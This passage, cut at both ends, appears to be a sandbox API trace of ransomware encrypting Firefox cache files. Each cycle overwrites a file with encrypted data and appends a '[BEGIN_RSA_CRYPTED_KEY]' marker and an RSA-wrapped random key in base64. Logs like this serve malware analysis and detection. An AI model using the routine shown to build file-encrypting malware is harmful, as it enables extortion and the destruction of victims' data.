lpBuffer=0x2f3e048*, lpNumberOfBytesRead=0x2e3f9b4*=0xc19, lpOverlapped=0x0) returned 1 [0252.395] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3097, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0252.395] WriteFile (in: hFile=0x1b84, lpBuffer=0x344e058*, nNumberOfBytesToWrite=0xc19, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesWritten=0x2e3f9b4*=0xc19, lpOverlapped=0x0) returned 1 [0252.395] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xc19 [0252.395] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.395] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.396] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0252.396] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0252.396] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0252.396] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="wmllTw5b/xS++5JgWDuBBra5iyM0qwt4pdazwwu8H2qZQq/39Igmrsf+2tYPJmbm\nC6+9tp1tnzZGhzgsP4pGB/Eo8jwRm4yYauXYvwT9yeOH9Cvf752XLn00ClGrabo7\nGz17dZA9duIeQ5ye2dGAeSQBAx5jSiS1Ib0dqbb3yQCV32Ob+IquPKCB8RdvjkZD\ndBCAoADvZ/SLdaxaECxCNzIZ6GwHIBaiCbs1e5B+P8RwkHPLFOwnC+k8tU8iMdly\nNsm8UcXzaGCFnnyIhpzjcCNwW4GCAqmHTZbj9dCvPszh6/SG7ccJReUCuJ4XlBGs\n2osMPFDPw817xP7xUFsrIw==\n", pcchString=0x2e3f9a8) returned 1 [0252.396] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0252.397] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.397] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.397] CloseHandle (hObject=0x1b84) returned 1 [0252.398] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0252.398] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\F0EB2346E30E6575D9159FAAC2D28582EDEE6AE6", dwFileAttributes=0x80) returned 1 [0252.398] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f3e048, nNumberOfBytesToRead=0xdff, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e048*, lpNumberOfBytesRead=0x2e3f9b4*=0xdff, lpOverlapped=0x0) returned 1 [0252.412] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3583, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0252.413] WriteFile (in: hFile=0x1b84, lpBuffer=0x344e058*, nNumberOfBytesToWrite=0xdff, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesWritten=0x2e3f9b4*=0xdff, lpOverlapped=0x0) returned 1 [0252.413] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xdff [0252.413] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.413] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.414] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0252.414] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0252.414] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0252.414] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="4+iW9EdAP3XaPQOWa9rEP3GjniIAtUjb6cn1y5d3Iv1Me5EXPNNxNp9lGYT5d8/J\n7OEUPDbu4gYXb+b8/p6TCM9Vx3/cjgF+hY0QL+kZU9pMo9c8iYqAsn875BnNIWtQ\nginEf2QBpuGwlCi+YpjWp6rvk8XSzMPWYVSoWK4XGCXhDsMumZINkq1rgxE+Kf6T\no6hs7Dm/cTgaMotJ0InhgB7/xhwfPp5gMrZBxPjcB2MwdwgNuuUsloWVqmJI2wg4\np3V+xdmsxRRFsTySj7NZM2amzaP38hLb/X5Z1ov6uLahWAqSKlPcCfDH1HXy8rE/\nGZ3CaETIr2EKb7A4gYGkqA==\n", pcchString=0x2e3f9a8) returned 1 [0252.414] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0252.414] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.414] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.414] CloseHandle (hObject=0x1b84) returned 1 [0252.416] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0252.416] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\EFC8814869821F7C83B400CF0F41FA9623F126A2", dwFileAttributes=0x80) returned 1 [0252.416] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x4d4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x4d4, lpOverlapped=0x0) returned 1 [0252.446] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1236, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0252.446] WriteFile (in: hFile=0x1b84, lpBuffer=0x313e810*, nNumberOfBytesToWrite=0x4d4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e810*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4d4, lpOverlapped=0x0) returned 1 [0252.447] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4d4 [0252.447] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.447] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.448] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0252.448] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0252.448] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0252.448] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ODNDjGxwX60hqohNU5IV7Xm65vEPsIwZoTeZhd2yMA0pJ0tL3MkC0V1v1X+mnuZP\nYSYn0VJS0CGnncT6N+wlCKzz5CEmQQiZYGHuXLseYnLlz12GhT8KL+1gBQ9tkgw/\nyzw1PwwDVQNmnvSuneEUZTTT8Rv3mk5JZc9o/TZrO3nH6gsRFMLU9p0Z9NulOpcb\ncp16jG+ubYEad983tyeqNY9QBL83ATXS7rAJssI7xMriuE0ixHI+Yx+M1FedD0Ey\nvHkIHrea8FZ6WGSaDRzRecfouuzKQ+n5thU6UyvFklfhYtMrZbisYsLCV/p3I+cf\n8E8iu0Zy3TKKV+W6pJ4QEQ==\n", pcchString=0x2e3f9a8) returned 1 [0252.448] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0252.448] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.449] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.449] CloseHandle (hObject=0x1b84) returned 1 [0252.450] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0252.450] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\EFAF9EB99E327835B6967A4E9F5034990DF6B1B8", dwFileAttributes=0x80) returned 1 [0252.451] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x2040, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x2040, lpOverlapped=0x0) returned 1 [0252.475] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-8256, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0252.475] WriteFile (in: hFile=0x1b84, lpBuffer=0x34500a0*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x34500a0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2040, lpOverlapped=0x0) returned 1 [0252.476] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2040 [0252.476] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.476] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.476] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0252.476] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0252.477] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0252.477] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="QZ1QGN4sIeH2jKMeQ1sCNGKDcVuaSe/OGFASPq84hhpUjJZW/dXHC4M5bVHll2hY\nUhYVqc2Yq7jPRs/nDYwF+MMDGrRmYTjWF4na/Kv5gYwlfY7t/kPgeSZQzLmHjVxt\nxLiXsz438QmWk8Ieukl2O8YUunQYL8LrdLSS5nerV0q7vHT+Kj5QYRAc8ih9jFwN\nFWxmp8VP9t41L3zuifd1CXHDlIZCPUMPabaP7c7ih1H0f1bLkxSxnhEp3e6c8kxB\nkLWjlz1wkih3mWP/3M8k9gCVIUnt89GlciFBwcVJnL/XFgUGmHICkfpvR7WeT4Do\nPLlx3JcYTVOgaKBvFTVjuw==\n", pcchString=0x2e3f9a8) returned 1 [0252.477] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0252.477] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.477] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.477] CloseHandle (hObject=0x1b84) returned 1 [0252.479] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0252.480] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\EFA23D021904B59506FF95AC0FE581DB27E60575", dwFileAttributes=0x80) returned 1 [0252.480] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x2149, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x2149, lpOverlapped=0x0) returned 1 [0252.488] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-8521, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0252.488] WriteFile (in: hFile=0x1b84, lpBuffer=0x34501b0*, nNumberOfBytesToWrite=0x2149, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x34501b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2149, lpOverlapped=0x0) returned 1 [0252.489] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2149 [0252.489] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.489] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.490] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0252.490] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0252.491] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0252.491] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="FeuInp+7NF7Zy8fRsL8nLtwHBQPHDpkDdfY3SkDKLwehSPfHvO8yzxCn7wLV898F\nGXk4K+bLSmaLxJ/x12b7lmRKicYtZzu2quPkS0/UrShIhAa77ua83WTN69TmjZ/b\nmvS2H5JPu7EnhAzUKDZA8GkOP9BFAW9OGG43M3OyJldihNsGE122GiiDgE0dFSbg\nzsTKxTm0F2IyTPuuiIZ3BnzP0A5DNBW88NhHtHnHn2MIal7s9cQ8MEESFvYRci8T\nyl+BSot8qPRDY4MwgBh4870GqOllptIHCOjp4NqkG/bGNrN0lWkgGtrBwlMJW+Oh\nKTDdCw+6uaGD4p8+QAkKGg==\n", pcchString=0x2e3f9a8) returned 1 [0252.491] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0252.491] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.491] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.491] CloseHandle (hObject=0x1b84) returned 1 [0252.494] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0252.494] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\EE72BEB157E7F6CA16B00B3668D03C97A3DF239E", dwFileAttributes=0x80) returned 1 [0252.494] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x113c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x113c, lpOverlapped=0x0) returned 1 [0252.506] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4412, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0252.506] WriteFile (in: hFile=0x1b84, lpBuffer=0x344f1a0*, nNumberOfBytesToWrite=0x113c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344f1a0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x113c, lpOverlapped=0x0) returned 1 [0252.507] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x113c [0252.507] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.507] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.507] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0252.508] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0252.508] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0252.508] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="UMMZzbZ95DfykgTnWeL6ZZEdD6Qc4hshLObHi9se779cyBo18Qo9K/tD94sBlgO6\nVnnyU3JlJwY9Zr8BFTM8t6lQemFz4BFIJXw2LWiymJjOa/k/7JEZr/QgS0U+ht2h\njJsJFPWCIAquOtMrvmKqmzjKx/Hhaasjfql4wg+63P6YwAVDLlq1z6O/c+eaoW+Y\nGBtokNG1gVT6qoMvk48qdbFibOXUz32GEiWrjOTfWQhkyC+pI7aQSG9mVL88MYxk\nS3qtOINhzWSfyWQ9puB6v3Alt1W2mCk8CFO9reFBsJcUcJ3LaPi25MuEru+hfu8a\n5TUnWvWDyepfrHOpiU0tEg==\n", pcchString=0x2e3f9a8) returned 1 [0252.508] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0252.508] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.508] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.509] CloseHandle (hObject=0x1b84) returned 1 [0252.511] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0252.511] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\EE3445B1D0C2B0676E210B121989A846305F10E8", dwFileAttributes=0x80) returned 1 [0252.512] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f3e048, nNumberOfBytesToRead=0xf30, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e048*, lpNumberOfBytesRead=0x2e3f9b4*=0xf30, lpOverlapped=0x0) returned 1 [0252.523] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3888, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0252.523] WriteFile (in: hFile=0x1b84, lpBuffer=0x344e058*, nNumberOfBytesToWrite=0xf30, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf30, lpOverlapped=0x0) returned 1 [0252.524] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf30 [0252.524] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.524] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.525] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0252.525] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0252.525] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0252.525] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ZsV0SZh9zo3YFaWTiWBK3L1N12sbzWQnibyA2p+hNJr7RzM1nmeOONXtWE8hh7nk\nYEyvNmpev9GqO7p+w/gcfgE534fB5B2dN+cVeVJRt0JOtfFPHOMBtdxP004ElmF3\nqJ9jf+Ngqbh1A+lvn2gLjpjYmp/9uk7a2VZ1kBo62Ai6HsQIjDnijrSHp6EBg0Pu\nlt8Hbu6IthXgTQUh9up67r+hyPr2jmtQiUCptTKILqg8zRY/LMqwpGF2Qc2bXbG4\nF+2w0OEoyB5rgw4C36OuDZgrxB85/NTddn3FO1rWXtQjg1H6J+4OB69Od0bk70EF\nO/kDK6an4AEHUTbFeMbXiQ==\n", pcchString=0x2e3f9a8) returned 1 [0252.525] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0252.525] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.525] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.526] CloseHandle (hObject=0x1b84) returned 1 [0252.527] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0252.527] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\ED0CB237A7670F7783DE11F3AD0107C16522D303", dwFileAttributes=0x80) returned 1 [0252.528] ReadFile (in: hFile=0x1b84, lpBuffer=0x313e810, nNumberOfBytesToRead=0x6b5, lpNumberOfBytesRead=0x2e3f9b4, 